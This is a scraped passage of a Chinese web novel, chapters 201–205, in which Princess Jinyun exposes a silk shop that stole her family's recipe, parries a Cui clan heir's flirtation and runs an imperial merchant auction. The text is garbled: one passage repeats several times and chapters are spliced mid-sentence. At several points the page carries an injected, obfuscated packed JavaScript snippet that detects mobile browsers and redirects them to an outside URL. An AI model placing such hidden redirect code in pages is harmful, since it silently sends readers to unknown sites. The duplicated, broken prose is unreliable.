“这匹流光缎二千两,我家是宫中指定的供货商,品质自然是最好的,买我家的东西得靠抢,这只是样品,您想买得预定。” 云筝挑了挑眉,“能便宜点吗?” 小二呆了呆,京城哪个贵人会还价?没有!她只是面上光鲜? “不可能,我家从不讲价,买得起就买,买不起就不要进来妨碍我们做生意。” 他嘀嘀咕咕,“穷鬼就不要买什么好布料。” 云筝低头看自己,穷鬼?她吗? 她抚着腰间价值连城的紫玉佩,微微一笑。 众人沉默了,哪有这样做生意的?傲到没边了。 云筝伸手要摸流光缎,却被小二阻止,”买不起就不要摸。“ 紫烟气坏了,手按在腰间。 云筝轻轻按住她的手,淡淡的道,”你们内务府的供应资格被取消了,怎么还打着宫中的牌子?这算欺诈顾客。” 小二直瞪眼,“胡说八道,我家有贵妃娘娘照拂,谁敢动我们的供应资格?除非是活腻了了。” 这态度之嚣张,让人侧目。 但,很快他就踢到此生最大的铁板! 第201章 云筝要掀桌子了 大家的脸色都不好看,一个小二都这么嚣张,这是贵妃娘娘给的底气吗? 云筝却淡定自若,“这流光缎……我记得在江南只卖二百两银子。” 小二鼻孔朝天,一副不可一世的样子,“这是贡品,跟云家商号卖的那些便宜货不一样。” 他知道,这世上只有两家卖流光缎,一家是自家,一家是云家商号。 老板想尽办法不许云家商号卖流光缎,只想独家销售。 可惜,一直没有成功,云家的主事人太精明了,屡次逃过算计。 如今,云家的独女成了锦云郡主,内务府的官员,牢牢地掐住了瑞祥绸缎庄的脖子。 只能说,风水轮流转,三十年河东,三十年河西。 云筝的眼睛危险的眯了起来,“云家商号卖的是便宜货?” 小二眼珠飞转,大声嚷嚷,“可不是吗?你们不知道吗,云家商号最喜欢以次充好,看人下菜。” 春华再也忍不住了,狗东西,居然对外诋毁他们云家商号,“可我怎么听说,云家商号是童叟无欺,最公道的?” 小二不屑至极,“你一个女子懂什么?” 春华怎么就不懂了?她太清楚了,流光缎是她家小姐一手打造的,当时风头一时无两,引来无数人的疯抢,都以穿流光缎为荣。 可惜,被人盯上了,不择手段挖走了老师傅,偷走了秘方。 她还记得主子将自己关在房间两天两夜,走出来时,整个人都不一样了。 ”你一个小二懂什么?” 云筝手指着流光绸,扬声道,“这流光缎是云家三年前首创,本是独门秘方,但两年前秘方被偷,京城瑞祥绸缎庄就多了一款流光缎,还成了贡品,有意思。” 现场一片哗然,嗡嗡声作响,没听错吧? 小二勃然大怒,“你什么意思?暗示我们瑞祥绸缎庄偷了云家的秘方?” 云筝拿起绸缎摸了摸,“这流光缎好是好,就是比云家的少了两道工序,洗过一次就不能再穿了,华美又不实用。” 最后两道工序掌握在她手里,瑞祥绸缎庄纵有通天的本领,也不可能从她手里弄走。 小二更生气了,“一派胡言,这是专卖给贵人的,贵人只穿一次。” 云筝笑吟吟的问 道,“哪个贵人只穿一次的衣服?让我开开眼界?” 皇帝都不敢如此奢侈无度,但凡他说个人出来,必将被疯狂**。 小二不假思索的开口,“当然是我们贵……” 一道清喝声猛的响起,“闭嘴。” 一个胖子从后面走出来,面色不愉,“锦云郡主,你是云家的大小姐,在瑞祥绸缎庄的地界上说这些话,不合适吧?” 他是瑞祥绸缎庄的老板,在后面听了半天,眼见云筝不动声色给他家挖坑,再不出来,就要被活埋了。 众人惊呆了,“啥?她是锦云郡主?长的真好看呀。” 胖子板着脸,脸色极为难看,“郡主,我希望你收回刚才的指控,这流光缎是我家独创,举世无双,是宫中嫔妃的最爱,根本不是偷了云家的秘方。” 云筝打量了一眼,“你是谁?” 胖子昂首挺胸,极为张扬,“我是京城雷家的人,排行第五,贵妃是我姑姑。” 他隐隐带着一丝威胁,“若是我姑姑知道锦云郡主如此抹黑雷家的名声,会不高兴的。” 云筝冷冷的问道,“你是几品高官?” 雷五高涨的气焰顿时被打消了,“啊?我……我没入仕。” 孙守信大声喝斥,“那为何见到我等官员不拜?是雷家的规矩差,还是你这个人不行?” 雷五的脸色铁青,“你们……” 在以往,是内务府的人扒着他求着他,对他极力讨好,只求拜入贵妃门下。 他一时之间,很难接受内务府的官员冷脸相向。 孙守信不冷不热的怼道,“雷家真是好规矩。” 雷五闭了闭眼,将怒火全压了下去,不能让雷家的名声受损。 他拱了拱手,“见过各位大人。” 孙守信乐呵呵的笑了,“看来是你这个人不行,贵妃娘娘和雷家的规矩礼仪还是好的。” 雷五气的脸都歪了,都给他等着,他回去向贵妃娘娘告状。 云筝摆了摆手,“罢了,规矩这么差,靠偷来的秘方制些不入流的东西,实在不堪入目,我可看不上。” “走吧,我们去云家商号看看。” 雷五上前拦住她们的去路,“且慢,锦云郡主,你今日必须把话说清楚,我们雷 家清清白白的做生意,怎么就成了偷秘方的贼?这是侮辱我们雷家,不给我一个说法,谁都别想走。” 云筝听而不闻,她如今的身份不屑跟一个商号老板争论,太掉价。 她使了个眼色,立马有人将雷五推到一边,她带着人往外走,“对了,我替云家商号报个名。” 孙守信愣住了,“云家商号?是负责哪方面的?” 云筝理所当然的说,“我们云家包罗万象,什么生意都做,嗯,就报……皮、缎、衣、茶、瓷五库的生意吧。” 她一脸的悲天悯人,“若是没其他商号参与,我们云家就为广储库托底,这样的苦差事就让我们云家上吧。” 众人:……还能这么玩? 雷五:……狗,太狗了!不要脸! 盯梢的人:……啊啊啊,赶紧回去告诉主子,锦云郡主要掀桌子了! 雷五急的直跳脚,她要独占好处? “你是广储库的主官,应该避嫌。” 云筝义正言辞的表示,“避什么嫌,朝廷需要,皇上需要,我们云家义不容辞挺身而出,为君分忧。” 一道清喝声猛的响起,“说的好,锦云郡主不愧是女中豪杰,令崔某佩服,崔某愿共襄盛举。” 一个锦衣男子站在门口,玉树临风,面如冠玉,说不尽的风流倜傥。 云筝打量了一眼,“你是谁?” 男子唇角微微上扬,带着几分自傲,“清河崔氏的少族长,崔?长珩?,见过锦云郡主。” 此时的他,全然不知眼前的女子对他意味着什么。 求之不得,寤寐思服。悠哉悠哉,辗转反侧。注(1) 现场一片哗然,什么?清河崔家的继承人? 世家有五姓七望,五姓:崔、卢、李、郑、王;七望:清河崔氏、范阳卢氏、荥阳郑氏、太原王氏等。清河崔氏为五姓七望之首,也是天下士族之冠。注(2) 听说,最鼎盛时期拒婚皇室,连皇帝都以娶不到五姓女为人生憾事。 家清清白白的做生意,怎么就成了偷秘方的贼?这是侮辱我们雷家,不给我一个说法,谁都别想走。” 云筝听而不闻,她如今的身份不屑跟一个商号老板争论,太掉价。 她使了个眼色,立马有人将雷五推到一边,她带着人往外走,“对了,我替云家商号报个名。” 孙守信愣住了,“云家商号?是负责哪方面的?” 云筝理所当然的说,“我们云家包罗万象,什么生意都做,嗯,就报……皮、缎、衣、茶、瓷五库的生意吧。” 她一脸的悲天悯人,“若是没其他商号参与,我们云家就为广储库托底,这样的苦差事就让我们云家上吧。” 众人:……还能这么玩? 雷五:……狗,太狗了!不要脸! 盯梢的人:……啊啊啊,赶紧回去告诉主子,锦云郡主要掀桌子了! 雷五急的直跳脚,她要独占好处? “你是广储库的主官,应该避嫌。” 云筝义正言辞的表示,“避什么嫌,朝廷需要,皇上需要,我们云家义不容辞挺身而出,为君分忧。” 一道清喝声猛的响起,“说的好,锦云郡主不愧是女中豪杰,令崔某佩服,崔某愿共襄盛举。” 一个锦衣男子站在门口,玉树临风,面如冠玉,说不尽的风流倜傥。 云筝打量了一眼,“你是谁?” 男子唇角微微上扬,带着几分自傲,“清河崔氏的少族长,崔?长珩?,见过锦云郡主。” 此时的他,全然不知眼前的女子对他意味着什么。 求之不得,寤寐思服。悠哉悠哉,辗转反侧。注(1) 现场一片哗然,什么?清河崔家的继承人? 世家有五姓七望,五姓:崔、卢、李、郑、王;七望:清河崔氏、范阳卢氏、荥阳郑氏、太原王氏等。清河崔氏为五姓七望之首,也是天下士族之冠。注(2) 听说,最鼎盛时期拒婚皇室,连皇帝都以娶不到五姓女为人生憾事。 家清清白白的做生意,怎么就成了偷秘方的贼?这是侮辱我们雷家,不给我一个说法,谁都别想走。” 云筝听而不闻,她如今的身份不屑跟一个商号老板争论,太掉价。 她使了个眼色,立马有人将雷五推到一边,她带着人往外走,“对了,我替云家商号报个名。” 孙守信愣住了,“云家商号?是负责哪方面的?” 云筝理所当然的说,“我们云家包罗万象,什么生意都做,嗯,就报……皮、缎、衣、茶、瓷五库的生意吧。” 她一脸的悲天悯人,“若是没其他商号参与,我们云家就为广储库托底,这样的苦差事就让我们云家上吧。” 众人:……还能这么玩? 雷五:……狗,太狗了!不要脸! 盯梢的人:……啊啊啊,赶紧回去告诉主子,锦云郡主要掀桌子了! 雷五急的直跳脚,她要独占好处? “你是广储库的主官,应该避嫌。” 云筝义正言辞的表示,“避什么嫌,朝廷需要,皇上需要,我们云家义不容辞挺身而出,为君分忧。” 一道清喝声猛的响起,“说的好,锦云郡主不愧是女中豪杰,令崔某佩服,崔某愿共襄盛举。” 一个锦衣男子站在门口,玉树临风,面如冠玉,说不尽的风流倜傥。 云筝打量了一眼,“你是谁?” 男子唇角微微上扬,带着几分自傲,“清河崔氏的少族长,崔?长珩?,见过锦云郡主。” 此时的他,全然不知眼前的女子对他意味着什么。 求之不得,寤寐思服。悠哉悠哉,辗转反侧。注(1) 现场一片哗然,什么?清河崔家的继承人? 世家有五姓七望,五姓:崔、卢、李、郑、王;七望:清河崔氏、范阳卢氏、荥阳郑氏、太原王氏等。清河崔氏为五姓七望之首,也是天下士族之冠。注(2) 听说,最鼎盛时期拒婚皇室,连皇帝都以娶不到五姓女为人生憾事。 家清清白白的做生意,怎么就成了偷秘方的贼?这是侮辱我们雷家,不给我一个说法,谁都别想走。” 云筝听而不闻,她如今的身份不屑跟一个商号老板争论,太掉价。 她使了个眼色,立马有人将雷五推到一边,她带着人往外走,“对了,我替云家商号报个名。” 孙守信愣住了,“云家商号?是负责哪方面的?” 云筝理所当然的说,“我们云家包罗万象,什么生意都做,嗯,就报……皮、缎、衣、茶、瓷五库的生意吧。” 她一脸的悲天悯人,“若是没其他商号参与,我们云家就为广储库托底,这样的苦差事就让我们云家上吧。” 众人:……还能这么玩? 雷五:……狗,太狗了!不要脸! 盯梢的人:……啊啊啊,赶紧回去告诉主子,锦云郡主要掀桌子了! 雷五急的直跳脚,她要独占好处? “你是广储库的主官,应该避嫌。” 云筝义正言辞的表示,“避什么嫌,朝廷需要,皇上需要,我们云家义不容辞挺身而出,为君分忧。” 一道清喝声猛的响起,“说的好,锦云郡主不愧是女中豪杰,令崔某佩服,崔某愿共襄盛举。” 一个锦衣男子站在门口,玉树临风,面如冠玉,说不尽的风流倜傥。 云筝打量了一眼,“你是谁?” 男子唇角微微上扬,带着几分自傲,“清河崔氏的少族长,崔?长珩?,见过锦云郡主。” 此时的他,全然不知眼前的女子对他意味着什么。 求之不得,寤寐思服。悠哉悠哉,辗转反侧。注(1) 现场一片哗然,什么?清河崔家的继承人? 世家有五姓七望,五姓:崔、卢、李、郑、王;七望:清河崔氏、范阳卢氏、荥阳郑氏、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063375|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太原王氏等。清河崔氏为五姓七望之首,也是天下士族之冠。注(2) 听说,最鼎盛时期拒婚皇室,连皇帝都以娶不到五姓女为人生憾事。 家清清白白的做生意,怎么就成了偷秘方的贼?这是侮辱我们雷家,不给我一个说法,谁都别想走。” 云筝听而不闻,她如今的身份不屑跟一个商号老板争论,太掉价。 她使了个眼色,立马有人将雷五推到一边,她带着人往外走,“对了,我替云家商号报个名。” 孙守信愣住了,“云家商号?是负责哪方面的?” 云筝理所当然的说,“我们云家包罗万象,什么生意都做,嗯,就报……皮、缎、衣、茶、瓷五库的生意吧。” 她一脸的悲天悯人,“若是没其他商号参与,我们云家就为广储库托底,这样的苦差事就让我们云家上吧。” 众人:……还能这么玩? 雷五:……狗,太狗了!不要脸! 盯梢的人:……啊啊啊,赶紧回去告诉主子,锦云郡主要掀桌子了! 雷五急的直跳脚,她要独占好处? “你是广储库的主官,应该避嫌。” 云筝义正言辞的表示,“避什么嫌,朝廷需要,皇上需要,我们云家义不容辞挺身而出,为君分忧。” 一道清喝声猛的响起,“说的好,锦云郡主不愧是女中豪杰,令崔某佩服,崔某愿共襄盛举。” 一个锦衣男子站在门口,玉树临风,面如冠玉,说不尽的风流倜傥。 云筝打量了一眼,“你是谁?” 男子唇角微微上扬,带着几分自傲,“清河崔氏的少族长,崔?长珩?,见过锦云郡主。” 此时的他,全然不知眼前的女子对他意味着什么。 求之不得,寤寐思服。悠哉悠哉,辗转反侧。注(1) 现场一片哗然,什么?清河崔家的继承人? 世家有五姓七望,五姓:崔、卢、李、郑、王;七望:清河崔氏、范阳卢氏、荥阳郑氏、太原王氏等。清河崔氏为五姓七望之首,也是天下士族之冠。注(2) 听说,最鼎盛时期拒婚皇室,连皇帝都以娶不到五姓女为人生憾事。 家清清白白的做生意,怎么就成了偷秘方的贼?这是侮辱我们雷家,不给我一个说法,谁都别想走。” 云筝听而不闻,她如今的身份不屑跟一个商号老板争论,太掉价。 她使了个眼色,立马有人将雷五推到一边,她带着人往外走,“对了,我替云家商号报个名。” 孙守信愣住了,“云家商号?是负责哪方面的?” 云筝理所当然的说,“我们云家包罗万象,什么生意都做,嗯,就报……皮、缎、衣、茶、瓷五库的生意吧。” 她一脸的悲天悯人,“若是没其他商号参与,我们云家就为广储库托底,这样的苦差事就让我们云家上吧。” 众人:……还能这么玩? 雷五:……狗,太狗了!不要脸! 盯梢的人:……啊啊啊,赶紧回去告诉主子,锦云郡主要掀桌子了! 雷五急的直跳脚,她要独占好处? “你是广储库的主官,应该避嫌。” 云筝义正言辞的表示,“避什么嫌,朝廷需要,皇上需要,我们云家义不容辞挺身而出,为君分忧。” 一道清喝声猛的响起,“说的好,锦云郡主不愧是女中豪杰,令崔某佩服,崔某愿共襄盛举。” 一个锦衣男子站在门口,玉树临风,面如冠玉,说不尽的风流倜傥。 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是个圆滑的,长袖善舞,跟想象中的清贵公子哥不一样。 这是云筝对他的第一印象。 “可。” 她看向另一个蓝衣男子,“这位是?” 蓝衣男子大大方方的介绍自己,“我是荥阳郑氏嫡长子,郑长荣。” 云筝挑了挑眉,“你们俩都是长字辈?” 这关注点也是绝了,两男人相视一眼,在她脸上没有看到对五姓七望世家的推崇,只有淡然。 郑长荣主动解释,“我们是表兄弟。” 果然,五姓之间是相互联姻的。 云筝眼珠一转,笑吟吟的问道,“前广储司主官郑庆丰是你的什么人?” 郑长荣微微蹙眉,有些不快,“没有关系,但,郑庆丰一直想跟荥阳郑氏连宗。” 连宗,就是没有血缘的同姓人通过仪式认做亲戚。给自己脸上贴金。 云筝默了默,想要攀上五姓七望的人太多了。 云家商号的前面是一幢三层的小楼,后院也是三层的小楼,中间有一个布置的极为清雅的小院。 坐在清雅小院,崔郑两人对此赞不绝口,夸云筝有品味。 云筝从容而又淡定,全然没有被夸的羞涩和不好意思。 她就喜欢别人夸她! 会说,多说! 侍女跪坐在一边,姿态优美的泡茶,遵循先宾后主、先老后少原则,先向崔?长珩?奉茶,再是郑长荣,最后才是云筝。 云筝笑吟吟的举起茶杯,“来,喝茶,这是我新得的茶叶,尝尝味道如何?” 崔?长珩?啜饮了一口,眉眼舒展,“金镶玉色尘心去,川迥洞庭好月来,好茶,这是君山银针?” 云筝微微颌首,“是,崔少主好眼力。” 崔长珩一脸的惊叹,“这是今年新进的贡茶,据说只有几斤,没想到锦云郡主这边能喝到。” 他对云筝的得宠有了深刻的认知。 云筝只是笑笑。仿若这是极为寻常之事,“我就爱喝这茶 ,皇上赐了些给我。 三人相谈甚欢,都是博学多识之人,天南地北的聊,颇为投机。 云筝出口成章,谈吐有物,什么话都能接上两句,偶尔发表自己的观点都是有据有节,让人眼前一亮。 而且,在顶级世家面前不卑不亢,落落大方。 云筝拿着茶杯,漫不经心的问道,“两位怎么忽然来了京城?可有要事? 崔?长珩?眼神一闪,“我们结伴游历天下,正好经过京城,就过来看看,没想会遇到锦云郡主这般人物,实属是幸事。 云筝深深的看了他一眼,他有意无意的散发魅力,想干什么? “崔公子真会说话,这是竞拍会的流程,两位可以先看看。 崔?长珩?怔了怔,这么快转移话题? 他淡淡扫了几眼,忽然话风一转,“锦云郡主,您婚配了吗? 一直笑意盈盈的云筝神色一肃,微微蹙眉,“这是我的私事,崔公子,你失仪了。 崔?长珩?站起来,郑重其事的行了一礼,“我没有恶意,只是…… 他顿了顿,忽然用那双看狗都深情的眼睛,专注的看着她,“蒹葭苍苍,白露为霜。所谓伊人,在水一方。 是诗经《秦风·蒹葭》,一首情诗,他用低沉温柔的嗓音,倾述着浓浓的恋慕。 一般女子是招架不住的,早就芳心乱颤,把持不住。 一边的侍女都痴了,面红耳赤,心跳如雷。 但,云筝神色平静,等他吟完诗,忽然举起双手用力鼓掌。 “**。 “你们世家就是不一样,有随时吟诗的风气。真风雅啊,我们普通人就不会。 崔?长珩?俊美的脸一寸寸龟裂了,不解风情! 郑长荣笑疯了,这是他生平第一次看到表兄如此狼狈。 “我们郑家没有,是崔家专有的,哈哈哈。 这丢人丢到姥姥家,笑**了。 云筝一本正经的说道,“不要笑话人家嘛,要允许这世间的多样性,有人爱装腔作势,有人爱装深情,只要不妨碍我们自身,就多包容吧。 “说的太对了。 表哥习惯了 玩心眼,却被云筝全看穿了,好尴尬! 经此一遭,崔?长珩?待不住了,拉着郑长荣告辞离开。 云筝笑意盈盈的送他们到大门口,目送他们离开,才折身返回。 春华小心翼翼的问道,“他们说的话,您信吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他苦笑一声,?“我没想到,我堂堂崔家少主也有被女子利用的一天,她的反应太快,手段太厉害了。” 郑长荣也惊呆了,崔郑两家居然被当成了试金石?她好大的胆子! “澄清一下?” 第203章 皇上,让云筝跟臣妾赔礼道歉 崔?长珩?沉吟半响“先看看情况再说我若没有猜错的话她还有后手。” 果然是聪明绝顶狡猾如狐这位郡主太有意思了。 郑长荣想到她的那些辉煌战绩 正是这件事才让她正式进入了世家的视线中。 下人张了张嘴郑长荣看到了清喝道“还有什么事?说。” 下人赶紧说道“是这样的……” 崔?长珩?听呆了“没提瑞祥绸缎庄却字字指向瑞祥绸缎庄傻子都能猜到啊这是想干什么?” 这世间流光缎只有两家卖云家失了秘方还能是谁干的? 郑长荣眼中闪过一丝惊叹“这位锦云郡主有仇必报一旦有了实力立马还以颜色一点亏都不肯吃。只是瑞祥绸缎庄背后站着贵妃娘娘。” “这是要跟贵妃娘娘对上?她到底哪来的底气?贵妃娘娘育有皇子皇女地位牢不可破跟她撞上恐怕是鸡蛋撞石头年轻气盛可不是什么好事。” 这两则消息一出外界都疯狂了。 妈呀两大世家居然下凡尘开始做皇商生意了? 大家都急了这世间有几家能跟崔郑两家相抗衡?打不过啊。 他们特意递帖子求见但如石沉大海没有一点消息。 他们见不到当事人打探不了消息心里更慌了。 瑞祥绸缎庄的雷五再也坐不住求见雷家的当家人贵妃娘娘的亲生父亲。 “云筝她好大的胆子居然敢剑指贵妃娘娘真是找死伯父您赶紧拿个主意吧。” 雷家主冷冷的看着这个不争气的族中子侄他读书不成庶务也不行只痴迷黄白之物那就让他去做生意。 用了雷家的名号和人脉折腾了这么久也就搞出一家瑞祥绸缎庄。 “你当时不是说万无一失吗?” 当时其实是盯上了偌大的云家商号但跟云筝斗法了很久又有江南总督偏帮云家他没有占到多大的便宜。 雷老**觉得自己没有本事反而觉得云筝走了狗屎运“我哪知道她的运道这么好居然被平西侯府看上聘为世子妃如今又 得了皇上的青睐。 雷家主轻轻叹了一口气,雷家阴盛阳衰,儿子就资质平平,女儿都很出色,嫁的都不错。 “来人,往宫中递消息。 “是。 雷老五眼珠转的飞快,“伯父,再过三日就是皇商资格竞拍会,我们想个办法捣乱,让她开不成? 他得不到,别人也休想得到。 雷家主头痛欲裂,蠢货,真以为有贵妃娘娘撑腰,就能为所欲为? “那是内务府办事,她代表的是官方,你不怕被抓就去捣乱,别指望我救你出来。 雷老五立马怂了,云筝可不是心慈手软之人。 雷家主沉吟半响,“去报名吧。 雷老**干了,“我们主动低头?不行,雷家的脸面不能丢。 雷家主能力平平,但,还有几分眼力,能屈能伸,“锦云郡主背后有云家商号,有一个庞大的商业帝国,她根本不怕开天窗。 说不定求之不得,正好填了空档,专供皇室的吃穿住行,方方面面都包圆了,到时,她一家独大,其他人家连汤都喝不上。 雷老五拉不下脸面,正在犹豫之时,下人进来禀道,“家主,陈家,方家,姜家,季家,孙家都去报名了。 这些都是被罢免的皇商。 雷老五暴跳如雷,说好了一起共同进退,现在是什么意思?背刺他? 雷家主催促道,“赶紧去。 先把坑占了,有什么事以后再说。 “是,伯父。 宫中的贵妃娘娘很快接到消息,枯坐了半日后,吩咐下去,“如意,你去梅妃那里跑一趟。 “是。 皇上翻阅着**折子,微微摇头,这些人啊,干正事不积极,**锦云最积极。 门外传来通禀声,皇上,梅妃求见。 皇上正好累了,休息一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080733|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,“让她进来。 一个美丽纤弱的女子款款走进来,身段婀娜多姿,盈盈一福,“见过皇上。 皇上揉了揉眉心,“爱妃怎么来了? 梅妃性格孤傲,最喜欢以梅喻人,身上有种不知人间疾苦的天真。 她娇娇柔柔的开口,“皇上,臣妾有一个舅舅是皇商 ,跟内务府做生意好几年了,一直合作的很愉快。” “但,锦云郡主一朝掌管广储司,就坏了规矩,将皇商们的资格都取消了,这不是要逼人走上绝路吗?” 她很委屈的控诉,“还请皇上管管锦云郡主,她要耍威风,也不能拿我的舅舅出气啊,我舅舅是最老实本份的……” 皇上把玩着茶杯,“你舅舅是做哪方面生意?” 梅妃不假思索的说道,“瓷器。” 皇上挑了挑眉,“哦,市场一百两的青花瓷,过了你舅舅一道手,就身价百倍,报价二千两。” 梅妃闻言色变,“您听谁说的?不会是锦云郡主诬告吧。” 皇上将一份奏折扔过来,“你自己看。” 是云筝写的奏折,里面列了很多价格对比,太过惨烈,皇上看的触目惊心,下定决心要整改。 他们偷的都是他的银子! 梅妃眉头微蹙,“这也不能怪我舅舅,大家都这么干,他要是特立独行,会被排挤,轻则做不了生意,重则会丧命。” “锦云郡主也真是的,只图表现自己,却全然不顾别人的死活,好自私啊。” 这话一出,全场静的出奇,大太监嘴角直抽搐。 就……很难评。 梅妃拉着皇上的衣袖撒娇,“皇上,臣妾是您的女人,臣妾丢了脸面,就是您丢了脸面,您把锦云郡主叫来,狠狠喝斥一通,让她跟臣妾赔礼道歉。” “还要给臣妾的舅舅道歉,就让她赔两个皇商资格,就瓷器和绸缎吧……” “啊,皇上,您怎么了?” 第204章 贬为庶人,打入冷宫 皇上面罩寒霜,浑身散发着冰冷的气息。 “看来,在爱妃的心里,朕的份量远远不及你的舅舅。” 不知是坏,还是愚蠢,怎么有脸骂锦云自私?还想要两个名额当赔礼,荒唐可笑。 梅妃吓了一跳,拼命解释,“皇上,您在臣妾心里是最重要的,谁都不能跟您相比,我只是为舅舅抱不平而已。” 抱不平?皇上冷冷的反问,“内务府的银子是谁的的?” 梅妃下意识的回答,“当然是您的。” 皇上见她还没有反应过来,眉头紧皱,“你舅舅掏空朕的银子,锦云把钱给抢回来,给朕花,这就碍了你的眼,迫不及待的告黑状了。” 他的嫔妃不需要聪明,但,得识时务,识情知趣。 “在你心里,孰轻孰重,朕很清楚。” 他早知道,满朝的文武,后宫的嫔妃,没有一个是真心待他的。 要么,为了权势,要么,为了家族的荣华富贵。 梅妃脸色大变,“皇上,不是这样的。” 皇上不求什么真心,只是,都别想挡他的路。 “你是第一个来的嫔妃,因为你最蠢。” “来人,传朕口谕,梅妃冲撞朕,贬为庶人,打入冷宫。” 梅妃眼前一黑,晕了过去,完了,全完了。 经此一遭,大家都知道皇上的态度,没人敢再来求情。 内务府本就是他的私库,动他的银子,那是找死。 贵妃沉默良久,给家中传了个消息,低调,静观其变。 沁园,皇商资格竞拍会如期举行。 园子里挤满了人,足足有五百,明镜司负责守卫,没人敢乱来。 一共划分十二个区,每个区都有相匹配的商家座位,安排的规规整整。 大家呼朋唤友,四处应酬,热闹的不得了。 雷五来的不早不晚,一进来,相熟的朋友就迎了过来。 “雷五爷,您也来了?” 雷五的眼睛微眯,语气很不悦,“你们都来了,我岂能不来?” 方老爷轻拍自己的嘴,赔笑道,“雷五爷,大家都是为了讨一口饭吃,都不容易,还请见谅。” “哼。” 方老爷眼珠一转,“我家下人要换一批新衣,一共八百套,这生意你家做吗? 这是讨好贵妃的娘家,不丢人。 “做。雷五的面色稍霁。 其他人也用订单赔罪,不一会儿就将人哄好了。 一群人簇拥着他走向绸缎库区域,签到后,交了保证金,一万两银票。 雷五爷忽然想起一事,打听道,“听说崔家和郑家都报名了,我怎么有点不相信。 其他人也表示不信,“我也觉得不可思议,那可是清河崔氏、荥阳郑氏,千年世家可不差这点钱,他们那么骄傲,怎么可能跑来掺和商贾之事? 清贵世家最不喜跟铜臭味的商贾打交道了。 江老爷迟疑了一下,“可,这两家也没有否认啊。 李大公子抿了抿嘴,谁不想跟这两家搭上关系呢,可惜,靠近不了。 “他们不屑否认吧。 真正的强者,是不屑解释的。 雷五爷眼神微闪,“那就是说,锦云郡主欺诈? 江老爷朝后退了几步,“雷五爷,您不想混,我们还想混呢。 他还不老实,想着翻盘啊,那今日估计有好戏可看了。 雷五爷冷哼一声,“怕什么?看在我家贵妃娘娘的份上,她也不敢将事情做的太绝,顶多敲打一下,多捞几个钱。 李大公子下意识的问道,“您也送钱了? 雷五爷脸色一变,“也?你们送给她钱了?她收了吗? 众人面面相觑,你看看我,我看看你。 他居然不知道?咋办? 雷五爷气恼不已,大声喝道,“说啊。 李大公子更是懊恼,他说漏嘴了,但事已至此,老实交待。“送了,收了。 雷老五的脸绿了,敢情就他没有送钱?!完了,要被穿小鞋了。 不行,他不能坐以待毙。 他脑海里闪过一道灵光,有了!等着瞧吧! 不知过了多久,“锦云郡主驾到,张总管驾到。 喧哗的现场瞬间安静下来,齐刷刷的看向入口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080734|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只见一群人走进来,最显眼的是那个穿着绯红官服的美丽女子,神采飞扬,意气风发 ,闪闪发亮。 “这就是锦云郡主?看着不像是冷酷无情的人啊。” “别被她的容颜迷惑了,她可不是善茬,手段狠着呢。” 一行人坐在搭建的棚子里,有茶有点心,有侍候的小厮。 张总管和云筝一左一右坐着,中间的位置空着。 而坐在云筝旁边的是一袭锦衣的崔长洐,而张总管那边坐着一袭蓝衣的郑长荣。 两人的气质极为出众,立马引起了大家的注意。 “咦,这不是崔家的少主吗?啊啊啊,我没看错吧?” “没有,另一个是郑家的少主!” “是他们!我以前远远见过,天啊,太荣幸了,这次没有白来。” 在一片喧哗声,张总管兴致勃勃的跟坐在身边的郑长荣攀谈。 这种机会太难得了,必须打好关系。 郑长荣态度矜贵淡然,端着世家公子的架子,张总管更热情了呢。 而云筝一坐下,就进入工作状态,“报名多少人,前来报到多少人?” 孙守信将相关资料递过来,“报名518,报到499人。” 云筝微微颌首,将没来的人名勾了出来。 “去问问,各部门都准备好了吗?” “是。”孙守信匆匆而去,云筝翻开资料细看,神色专注,陷入忘我的境界。 崔长洐定定的看着她,她本身长的极美,艳丽不可方物,生机勃勃,极为惹眼。 而,她专注工作时,散发着沉静而又自信的气息,让人忍不住多看她一眼。 这两种矛盾的特质却在她身上完美的融合了,魅力十足。 再加上一袭绯红的官服,衬的她矜贵无双,禁欲感满满。 他坐在她身边,她都没有多看他一眼,完全忘了他这个人的存在。 她,跟那些千方百计缠上来的女子不一样。 不知怎么的,他心痒痒的,像是有小钩子在心底钩啊钩,“锦云郡主。” 云筝抬起头,眼神清冷,“有事?” 第205章 九千岁快回来,有人要挖你墙角 